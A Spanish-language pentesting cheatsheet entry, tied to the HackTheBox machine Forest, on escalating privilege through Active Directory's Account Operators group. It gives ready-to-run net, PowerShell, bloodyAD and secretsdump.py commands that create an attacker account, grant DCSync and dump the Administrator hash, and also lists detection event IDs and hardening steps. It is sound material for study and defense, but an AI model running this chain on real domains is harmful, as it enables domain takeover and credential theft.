Account Operators group abuse
Arsenal completo de comandos en la cheatsheetAccount Operators es un grupo integrado de Active Directory pensado para delegar la gestión básica de cuentas: sus miembros pueden crear, modificar y borrar usuarios y grupos del dominio, y administrar casi cualquier objeto salvo los grupos protegidos (Domain Admins, Administrators, etc.) y los controladores de dominio. Microsoft lo considera un grupo de alto privilegio precisamente por ese alcance.
Por qué es peligroso. Aunque no toca los grupos protegidos, poder crear cuentas y manipular las no protegidas es suficiente para encadenar una escalada si en el dominio existe otro grupo con permisos fuertes sobre objetos críticos. Pertenecer a Account Operators (aunque sea indirectamente, por una cadena de MemberOf) hereda ese poder.
El patrón clásico (Forest). En Forest, el usuario svc-alfresco heredaba Account Operators a través de una cadena de grupos anidados. El abuso, que BloodHound dibuja paso a paso, fue:
- Crear un usuario de dominio controlado por el atacante:
` net user jaime jaime123 /add /domain ` Funciona porque Account Operators puede crear cuentas.
- Meterlo en un grupo con permisos fuertes. El grupo
Exchange Windows Permissionstenía WriteDACL sobre el objeto de dominio. Account Operators puede modificar la membresía de ese grupo (no es protegido):
` net group "Exchange Windows Permissions" jaime /add `
- Heredar el WriteDACL y, desde el nuevo usuario, reescribir la DACL del dominio para concederse DCSync, que termina volcando el hash del Administrator.
La idea de fondo. Es escalada por encadenamiento de ACEs, no por exploit. Cada permiso (estar en Account Operators, el WriteDACL del grupo Exchange) es legítimo por separado; el problema es su combinación, que BloodHound revela siguiendo las aristas del grafo.
Abuso con herramientas
Desde Windows (con el módulo AD o PowerView):
net user pwn Passw0rd123! /add /domain
net group "Exchange Windows Permissions" pwn /add
New-ADUser -Name pwn -AccountPassword (ConvertTo-SecureString 'Passw0rd123!' -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members pwnDesde Linux, con credenciales de un miembro de Account Operators:
# crear la cuenta y meterla en el grupo con bloodyAD
bloodyAD -d <domain> -u <user> -p <pass> --host <dc> add user pwn 'Passw0rd123!'
bloodyAD -d <domain> -u <user> -p <pass> --host <dc> add groupMember "Exchange Windows Permissions" pwn
# alternativa con net (Samba)
net rpc user add pwn 'Passw0rd123!' -U '<domain>/<user>%<pass>' -S <dc>
net rpc group addmem "Exchange Windows Permissions" pwn -U '<domain>/<user>%<pass>' -S <dc>El nuevo miembro hereda WriteDACL sobre el dominio; con él nos concedemos DCSync y volcamos al Administrator:
bloodyAD -d <domain> -u pwn -p 'Passw0rd123!' --host <dc> add dcsync pwn
secretsdump.py <domain>/pwn:'Passw0rd123!'@<dc> -just-dc-user AdministratorCómo detectarlo. Cada paso de la cadena tiene su evento en el DC. Crear el usuario genera un Event ID 4720 (se creó una cuenta de usuario); meterlo en el grupo, un 4728/4732 (miembro añadido a un grupo con seguridad habilitada), donde el grupo destino (Exchange Windows Permissions) es de por sí sospechoso; y el WriteDACL heredado que sigue, un 5136 sobre la DACL del dominio y el 4662 del DCSync final. La firma es la secuencia 4720 → 4732 → 5136 en minutos desde una cuenta que no administra el directorio. Alta prioridad: cualquier alta de miembro en grupos con permisos sobre el objeto de dominio.
Defensa. Tratar Account Operators como grupo de máximo privilegio: minimizar (idealmente vaciar) su membresía, revisar las anidaciones que lo otorguen de forma indirecta y auditar los grupos con WriteDACL/WriteOwner/GenericAll sobre el dominio (como Exchange Windows Permissions, foco habitual de los despliegues de Exchange).
Máquinas donde se aplica
- ForestHackTheBox